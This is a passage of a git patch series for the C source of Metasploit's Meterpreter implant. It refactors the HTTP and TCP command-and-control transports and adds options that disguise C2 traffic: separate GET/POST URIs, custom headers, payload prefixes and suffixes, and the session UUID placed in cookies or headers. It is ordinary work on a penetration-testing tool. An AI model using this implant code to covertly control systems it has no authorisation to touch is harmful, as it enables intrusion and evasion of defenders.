transport->write_config = transport_write_named_pipe_config; return transport; } diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c index 6386ab87a..a633be43d 100644 --- a/c/meterpreter/source/metsrv/server_transport_tcp.c +++ b/c/meterpreter/source/metsrv/server_transport_tcp.c @@ -814,17 +814,14 @@ DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLengt * @param transport Transport data to create the configuration from. * @return config Pointer to the config block to write to. */ -void transport_write_tcp_config(Transport* transport, Packet* packet, Tlv* configTlv) +void transport_write_tcp_config(Transport* transport, Packet* configPacket) { -#ifdef FDJKSLF - if (transport && config) - { - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); - } -#endif + Packet* c2Packet = packet_create_group(); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); + packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); } /*! @@ -891,6 +888,7 @@ Transport* transport_create_tcp(Packet* packet, Tlv* c2Tlv) transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); transport->get_migrate_context = get_migrate_context_tcp; + transport->write_config = transport_write_tcp_config; return transport; } diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index bf195b4a2..436cac8cb 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -27,8 +27,16 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons dprintf("[%s] Setting secure flag..", direction); } - vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); - hReq = WinHttpOpenRequest(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags); + HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; + PWCHAR uri = ctx->default_options.uri; + if (conn->options.uri) + { + // TODO OJ: include the default URI/UUID in here somehow? + uri = conn->options.uri; + } + + vdprintf("[%s] opening request on connection %x to %S", direction, conn->connection, uri); + hReq = WinHttpOpenRequest(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags); if (hReq == NULL) { @@ -75,7 +83,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons } autoProxyOpts.fAutoLogonIfChallenged = TRUE; - if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo)) + if (WinHttpGetProxyForUrl(conn->internet, ctx->url, &autoProxyOpts, &proxyInfo)) { ctx->proxy_for_url = malloc(sizeof(WINHTTP_PROXY_INFO)); memcpy(ctx->proxy_for_url, &proxyInfo, sizeof(WINHTTP_PROXY_INFO)); @@ -185,16 +193,25 @@ static BOOL read_response_winhttp(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, * @brief Wrapper around WinHTTP-specific sending functionality. * @param ctx Pointer to the current HTTP transport context. * @param hReq HTTP request handle. + * @param isGet Specifies if this request is a GET request (compared to POST). * @param buffer Pointer to the buffer to receive the data. * @param size Buffer size. * @return An indication of the result of sending the request. */ -static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) +static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, BOOL isGet, LPVOID buffer, DWORD size) { - if (ctx->custom_headers) + PWSTR headers = ctx->default_options.other_headers; + HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; + + if (conn->options.other_headers) + { + headers = conn->options.other_headers; + } + + if (headers) { - dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); - return WinHttpSendRequest(hReq, ctx->custom_headers, -1L, buffer, size, size, 0); + dprintf("[WINHTTP] Sending with custom headers: %S", headers); + return WinHttpSendRequest(hReq, headers, -1L, buffer, size, size, 0); } return WinHttpSendRequest(hReq, NULL, 0, buffer, size, size, 0); @@ -305,7 +322,7 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac BREAK_ON_ERROR("[PACKET TRANSMIT HTTP] Failed create_req"); } - res = ctx->send_req(ctx, hReq, rawPacket, rawPacketLength); + res = ctx->send_req(ctx, hReq, FALSE, rawPacket, rawPacketLength); if (!res) { BREAK_ON_ERROR("[PACKET TRANSMIT HTTP] Failed send_req"); @@ -351,7 +368,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) } vdprintf("[PACKET RECEIVE HTTP] sending GET"); - hRes = ctx->send_req(ctx, hReq, NULL, 0); + hRes = ctx->send_req(ctx, hReq, TRUE, NULL, 0); if (!hRes) { @@ -531,39 +548,54 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) return res; } - -/*! - * @brief Initialise the HTTP(S) connection. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static DWORD server_init_winhttp(Transport* transport) +static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* conn, PWSTR host, INTERNET_PORT port) { - URL_COMPONENTS bits; - wchar_t tmpHostName[URL_SIZE]; - wchar_t tmpUrlPath[URL_SIZE]; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WINHTTP] Initialising ..."); - // configure proxy if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); + conn->internet = WinHttpOpen(conn->options.ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0); } else { - ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + conn->internet = WinHttpOpen(conn->options.ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); } - if (!ctx->internet) + if (!conn->internet) { dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); return GetLastError(); } - dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", conn->internet); + + + // Allocate the connection handle + conn->connection = WinHttpConnect(conn->internet, host, port, 0); + if (!conn->connection) + { + dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); + return GetLastError(); + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", conn->connection); + + return ERROR_SUCCESS; +} + +/*! + * @brief Initialise the HTTP(S) connection. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static DWORD server_init_winhttp(Transport* transport) +{ + dprintf("[WINHTTP] Initialising ..."); + + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; // The InternetCrackUrl method was poorly designed... ZeroMemory(tmpHostName, sizeof(tmpHostName)); @@ -581,24 +613,35 @@ static DWORD server_init_winhttp(Transport* transport) dprintf("[DISPATCH] About to crack URL: %S", transport->url); WinHttpCrackUrl(transport->url, 0, 0, &bits); - SAFE_FREE(ctx->uri); - ctx->uri = _wcsdup(tmpUrlPath); - transport->comms_last_packet = current_unix_timestamp(); + SAFE_FREE(ctx->default_options.uri); + ctx->default_options.uri = _wcsdup(tmpUrlPath); - dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); - // Allocate the connection handle - ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0); - if (!ctx->connection) - { - dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); - return GetLastError(); - } + DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); + result = server_init_connection(ctx, &ctx->post_connection, tmpHostName, bits.nPort); - dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + transport->comms_last_packet = current_unix_timestamp(); - return ERROR_SUCCESS; + return result; +} + +static void close_connection(HttpTransportContext* ctx, HttpConnection* conn) +{ + if (conn != NULL) + { + if (conn->connection != NULL) + { + ctx->close_req(conn->connection); + conn->connection = NULL; + } + if (conn->internet != NULL) + { + ctx->close_req(conn->internet); + conn->internet = NULL; + } + } } /*! @@ -612,17 +655,8 @@ static DWORD server_deinit_http(Transport* transport) dprintf("[HTTP] Deinitialising ..."); - if (ctx->connection) - { - ctx->close_req(ctx->connection); - ctx->connection = NULL; - } - - if (ctx->internet) - { - ctx->close_req(ctx->internet); - ctx->internet = NULL; - } + close_connection(ctx, &ctx->get_connection); + close_connection(ctx, &ctx->post_connection); // have we had issues that require us to move? if (ctx->move_to_wininet) @@ -744,11 +778,11 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) if (ctx->new_uri != NULL) { dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); - dprintf("[DISPATCH] Old URI is: %S", ctx->uri); + dprintf("[DISPATCH] Old URI is: %S", ctx->default_options.uri); dprintf("[DISPATCH] Old URL is: %S", transport->url); // if the new URI needs more space, let's realloc space for the new URL now - int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->uri); + int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->default_options.uri); if (diff > 0) { dprintf("[DISPATCH] New URI is bigger by %d", diff); @@ -787,12 +821,12 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); // patch in the new URI - wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->uri) + 1, ctx->new_uri); + wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->default_options.uri) + 1, ctx->new_uri); dprintf("[DISPATCH] New URL is: %S", transport->url); // clean up - SAFE_FREE(ctx->uri); - ctx->uri = ctx->new_uri; + SAFE_FREE(ctx->default_options.uri); + ctx->default_options.uri = ctx->new_uri; ctx->new_uri = NULL; } } @@ -806,6 +840,17 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) return result; } +static void destroy_options(HttpRequestOptions* options) +{ + SAFE_FREE(options->ua); + SAFE_FREE(options->uri); + SAFE_FREE(options->other_headers); + SAFE_FREE(options->payload_prefix); + SAFE_FREE(options->payload_suffix); + SAFE_FREE(options->referrer); + SAFE_FREE(options->accept_types); +} + /*! * @brief Destroy the HTTP(S) transport. * @param transport Pointer to the HTTP(S) transport to reset. @@ -824,9 +869,11 @@ static void transport_destroy_http(Transport* transport) SAFE_FREE(ctx->proxy); SAFE_FREE(ctx->proxy_pass); SAFE_FREE(ctx->proxy_user); - SAFE_FREE(ctx->ua); - SAFE_FREE(ctx->uri); - SAFE_FREE(ctx->custom_headers); + + destroy_options(&ctx->post_connection.options); + destroy_options(&ctx->get_connection.options); + destroy_options(&ctx->default_options); + if (ctx->proxy_for_url) { WINHTTP_PROXY_INFO* proxyInfo = (WINHTTP_PROXY_INFO*)ctx->proxy_for_url; @@ -847,58 +894,70 @@ static void transport_destroy_http(Transport* transport) } } -void transport_write_http_config(Transport* transport, Packet* packet, Tlv* configTlv) +void transport_write_http_config(Transport* transport, Packet* configPacket) { -#ifdef FJDKLS - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + Packet* c2Packet = packet_create_group(); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); + packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); - dprintf("[HTTP CONF] Writing timeouts"); - config->common.comms_timeout = transport->timeouts.comms; - config->common.retry_total = transport->timeouts.retry_total; - config->common.retry_wait = transport->timeouts.retry_wait; - wcsncpy(config->common.url, transport->url, URL_SIZE); + // TODO OJ - fill this in +#if FALSE + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; if (ctx->ua) { - dprintf("[HTTP CONF] Writing UA"); - wcsncpy(config->ua, ctx->ua, UA_SIZE); - } - - if (ctx->cert_hash) - { - dprintf("[HTTP CONF] Writing cert hash"); - memcpy(config->ssl_cert_hash, ctx->cert_hash, CERT_HASH_SIZE); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_UA, ctx->ua); } - if (ctx->proxy) { - dprintf("[HTTP CONF] Writing proxy"); - wcsncpy(config->proxy.hostname, ctx->proxy, PROXY_HOST_SIZE); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_HOST, ctx->proxy); } - if (ctx->proxy_user) { - dprintf("[HTTP CONF] Writing user"); - wcsncpy(config->proxy.username, ctx->proxy_user, PROXY_USER_SIZE); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_USER, ctx->proxy_user); } - if (ctx->proxy_pass) { - dprintf("[HTTP CONF] Writing pass"); - wcsncpy(config->proxy.password, ctx->proxy_pass, PROXY_PASS_SIZE); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_PROXY_PASS, ctx->proxy_pass); } - - - if (ctx->custom_headers) + if (ctx->other_headers) { - dprintf("[HTTP CONF] Writing custom headers"); - // let's hope they've allocated the right amount of space based on what we told them - // in transport_get_config_size_http - wcscpy(config->custom_headers, ctx->custom_headers); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_HEADERS, ctx->other_headers); + } + if (ctx->cert_hash) + { + packet_add_tlv_raw(c2Packet, TLV_TYPE_C2_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); } - dprintf("[HTTP CONF] Done."); + // TODO: OJ - add the get/post munging prefixes/suffixes #endif + + packet_add_group(configPacket, TLV_TYPE_C2, c2Packet); +} + +BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptions* targetOptions) +{ + targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL); + targetOptions->other_headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_OTHER_HEADERS, NULL); + targetOptions->payload_prefix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_PREFIX, NULL); + targetOptions->payload_suffix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, NULL); + targetOptions->referrer = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_REFERRER, NULL); + targetOptions->payload_skip_count = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SKIP_COUNT); + targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); + + return TRUE; +} + +BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, HttpRequestOptions* targetOptions) +{ + Tlv optionsTlv = { 0 }; + if (packet_get_tlv_group_entry(packet, c2Tlv, tlvType, &optionsTlv) == ERROR_SUCCESS) + { + return get_http_options_from_tlv(packet, &optionsTlv, targetOptions); + } + return FALSE; } /*! @@ -920,9 +979,6 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(HttpTransportContext)); - ctx->ua = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_UA, NULL); - dprintf("[TRANS HTTP] Given ua: %S", ctx->ua); - ctx->proxy = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_HOST, NULL); dprintf("[TRANS HTTP] Given proxy user: %S", ctx->proxy); @@ -932,8 +988,6 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) ctx->proxy_pass = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_PASS, NULL); ctx->ssl = wcsncmp(url, L"https", 5) == 0; - ctx->custom_headers = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_HEADER, NULL); - // only apply the cert hash if we're given one and it's not the global value LPBYTE certHash = packet_get_tlv_group_entry_value_raw(packet, c2Tlv, TLV_TYPE_C2_CERT_HASH, NULL); if (certHash != NULL) @@ -953,6 +1007,13 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) } } + // default http parameters/options + get_http_options_from_tlv(packet, c2Tlv, &ctx->default_options); + + // now do the GET/POST specific stuff + get_http_options_from_config(packet, c2Tlv, TLV_TYPE_C2_GET, &ctx->get_connection.options); + get_http_options_from_config(packet, c2Tlv, TLV_TYPE_C2_POST, &ctx->post_connection.options); + ctx->create_req = get_request_winhttp; ctx->send_req = send_request_winhttp; ctx->close_req = close_request_winhttp; @@ -972,6 +1033,8 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) transport->transport_destroy = transport_destroy_http; transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); + transport->write_config = transport_write_http_config; return transport; } + diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index 923820b3a..58d1f8ec8 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -28,10 +28,19 @@ static HINTERNET get_request_wininet(HttpTransportContext *ctx, BOOL isGet, cons dprintf("[%s] Setting secure request flag..", direction); } + HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; + PWCHAR uri = ctx->default_options.uri; + if (conn->options.uri) + { + // TODO OJ: include the default URI/UUID in here somehow? + uri = conn->options.uri; + } + do { - vdprintf("[%s] opening request on connection %x to %S", direction, ctx->connection, ctx->uri); - hReq = HttpOpenRequestW(ctx->connection, isGet ? L"GET" : L"POST", ctx->uri, NULL, NULL, NULL, flags, 0); + + vdprintf("[%s] opening request on connection %x to %S", direction, conn->connection, uri); + hReq = HttpOpenRequestW(conn->connection, isGet ? L"GET" : L"POST", uri, NULL, NULL, NULL, flags, 0); if (hReq == NULL) { @@ -95,16 +104,25 @@ static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, * @brief Wrapper around WinINET-specific sending functionality. * @param ctx Pointer to the current HTTP transport context. * @param hReq HTTP request handle. + * @param isGet Specifies if this request is a GET request (compared to POST). * @param buffer Pointer to the buffer to receive the data. * @param size Buffer size. * @return An indication of the result of sending the request. */ -static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size) +static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, BOOL isGet, LPVOID buffer, DWORD size) { - if (ctx->custom_headers) + PWSTR headers = ctx->default_options.other_headers; + HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; + + if (conn->options.other_headers) { - dprintf("[WINHTTP] Sending with custom headers: %S", ctx->custom_headers); - return HttpSendRequestW(hReq, ctx->custom_headers, -1L, buffer, size); + headers = conn->options.other_headers; + } + + if (headers) + { + dprintf("[WINHTTP] Sending with custom headers: %S", headers); + return HttpSendRequestW(hReq, headers, -1L, buffer, size); } return HttpSendRequestW(hReq, NULL, 0, buffer, size); @@ -136,38 +154,66 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx) return ERROR_SUCCESS; } -/*! - * @brief Initialise the HTTP(S) connection. - * @param transport Pointer to the transport instance. - * @return Indication of success or failure. - */ -static DWORD server_init_wininet(Transport* transport) +static DWORD server_init_connection(HttpTransportContext* ctx, HttpConnection* conn, PWSTR host, INTERNET_PORT port) { - URL_COMPONENTS bits; - wchar_t tmpHostName[URL_SIZE]; - wchar_t tmpUrlPath[URL_SIZE]; - HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; - - dprintf("[WININET] Initialising ..."); - // configure proxy if (ctx->proxy) { dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy); - ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); + conn->internet = InternetOpenW(conn->options.ua, INTERNET_OPEN_TYPE_PROXY, ctx->proxy, NULL, 0); } else { - ctx->internet = InternetOpenW(ctx->ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + conn->internet = InternetOpenW(conn->options.ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); } - if (!ctx->internet) + if (!conn->internet) { - dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); + dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); return GetLastError(); } - dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); + dprintf("[DISPATCH] Configured hInternet: 0x%.8x", conn->internet); + + + // Allocate the connection handle + conn->connection = InternetConnectW(conn->internet, host, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); + if (!conn->connection) + { + dprintf("[DISPATCH] Failed InternetConnectW: %d", GetLastError()); + return GetLastError(); + } + + if (ctx->proxy) + { + if (ctx->proxy_user) + { + InternetSetOptionW(conn->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); + } + if (ctx->proxy_pass) + { + InternetSetOptionW(conn->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); + } + } + + dprintf("[DISPATCH] Configured hConnection: 0x%.8x", conn->connection); + + return ERROR_SUCCESS; +} + +/*! + * @brief Initialise the HTTP(S) connection. + * @param transport Pointer to the transport instance. + * @return Indication of success or failure. + */ +static DWORD server_init_wininet(Transport* transport) +{ + dprintf("[WININET] Initialising ..."); + + URL_COMPONENTS bits; + wchar_t tmpHostName[URL_SIZE]; + wchar_t tmpUrlPath[URL_SIZE]; + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; // The InternetCrackUrl method was poorly designed... ZeroMemory(tmpHostName, sizeof(tmpHostName)); @@ -183,38 +229,21 @@ static DWORD server_init_wininet(Transport* transport) bits.lpszUrlPath = tmpUrlPath; dprintf("[DISPATCH] About to crack URL: %S", transport->url); - InternetCrackUrlW(transport->url, 0, 0, &bits); + InternetCrackUrl(transport->url, 0, 0, &bits); - SAFE_FREE(ctx->uri); - ctx->uri = _wcsdup(tmpUrlPath); - transport->comms_last_packet = current_unix_timestamp(); + SAFE_FREE(ctx->default_options.uri); + ctx->default_options.uri = _wcsdup(tmpUrlPath); - dprintf("[DISPATCH] Configured URI: %S", ctx->uri); + dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri); dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort); - // Allocate the connection handle - ctx->connection = InternetConnectW(ctx->internet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); - if (!ctx->connection) - { - dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); - return GetLastError(); - } + DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort); + result = server_init_connection(ctx, &ctx->post_connection, tmpHostName, bits.nPort); - if (ctx->proxy) - { - if (ctx->proxy_user) - { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)wcslen(ctx->proxy_user)); - } - if (ctx->proxy_pass) - { - InternetSetOptionW(ctx->connection, INTERNET_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)wcslen(ctx->proxy_pass)); - } - } + transport->comms_last_packet = current_unix_timestamp(); - dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); + return result; - return ERROR_SUCCESS; } /*! From dba68a6cd79414e09fb31abe7aeb6ffb5b98620c Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 10 Jul 2025 10:51:18 +1000 Subject: [PATCH 05/24] Support for different GET/POST uris This actually stages/works as expected now. More fields to map, more work to do. More configuration to handle. Then the changes need to also be moved over to the WININET fallback version when done. Still need to handle encoding as well. --- c/meterpreter/source/common/common_core.h | 7 +- c/meterpreter/source/common/common_remote.h | 9 +- .../source/metsrv/server_transport_winhttp.c | 181 ++++++++++++++++-- .../source/metsrv/server_transport_wininet.c | 5 +- 4 files changed, 177 insertions(+), 25 deletions(-) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index baba5d678..512b268ac 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -199,12 +199,15 @@ typedef enum TLV_TYPE_C2_OTHER_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 715), ///! Custom headers TLV_TYPE_C2_UA = TLV_VALUE(TLV_META_TYPE_STRING, 716), ///! User agent TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 717), ///! Expected SSL certificate hash - TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_STRING, 718), ///! Data to prepend to the outgoing payload - TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_STRING, 719), ///! Data to append to the outgoing payload + TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Data to prepend to the outgoing payload + TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_RAW, 719), ///! Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Request encoding flags (Base64|URL|Base64url) TLV_TYPE_C2_SKIP_COUNT = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Number of bytes of the incoming payload to ignore before parsing TLV_TYPE_C2_REFERRER = TLV_VALUE(TLV_META_TYPE_STRING, 722), ///! Referrer string TLV_TYPE_C2_ACCEPT_TYPES = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Accept types string + TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 724), ///! Name of the cookie to put the UUID in + TLV_TYPE_C2_UUID_GET = TLV_VALUE(TLV_META_TYPE_STRING, 725), ///! Name of the GET parameter to put the UUID in + TLV_TYPE_C2_UUID_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 726), ///! Name of the header to put the UUID in TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index 305bd2332..172ade54c 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -78,10 +78,15 @@ typedef struct _HttpRequestOptions STRTYPE accept_types; STRTYPE referrer; STRTYPE other_headers; ///! Custom headers that aren't user agent, accept types, or referrer - STRTYPE payload_prefix; ///! String to prepend to outgoing payloads. - STRTYPE payload_suffix; ///! String to append to outgoing payloads. + PBYTE payload_prefix; ///! Bytes to prepend to outgoing payloads. + UINT payload_prefix_size; ///! Size of the payload prefix + PBYTE payload_suffix; ///! Bytes to append to outgoing payloads. + UINT payload_suffix_size; ///! Size of the payload suffix UINT payload_skip_count; ///! Number of bytes of the incoming data to skip to reach the payload. UINT encode_flags; ///! Flags to indicate what kind of encoding to apply, if any. + STRTYPE uuid_get; ///! The name of the GET/query string parameter to put the UUID in (optional). + STRTYPE uuid_cookie; ///! The name of the cookie to put the UUID in (optional). + STRTYPE uuid_header; ///! The name of the HTTP Header to put the UUID in (optional). } HttpRequestOptions; typedef struct _HttpConnection diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 436cac8cb..90622ba3e 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -9,6 +9,73 @@ #include "packet_encryption.h" #include "pivot_packet_dispatch.h" +#ifdef DEBUGTRACE +#define DBG_PRINT_OPTIONS(t, o) debug_print_http_options(t, o) +#else +#define DBG_PRINT_OPTIONS(t, o) +#endif + +static PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) +{ + PWCHAR baseUri = ctx->default_options.uri; + if (conn->options.uri) + { + baseUri = conn->options.uri; + } + + // If there's no URI for this connection, then the base URI is used, and that will (at least + // currently) contain the UUID string that's required. So we can just return that. + if (!conn->options.uri) + { + return _wcsdup(ctx->default_options.uri); + } + + // If we do have a URi specified for this conneciton, we need to parse it. But only + // if the UUID location parameter is not specified in the cookie/httpheader/querystring + if (conn->options.uuid_cookie || conn->options.uuid_get || conn->options.uuid_header) + { + // return a copy of the baseUri in this case, the caller should free the result. + return _wcsdup(conn->options.uri); + } + + // If we do need to put the UUID in the URI, the we need to pull it from the base URI + // and put it in place before any query string parameters in the current URI + PWCHAR queryString = wcschr(conn->options.uri, L'?'); + 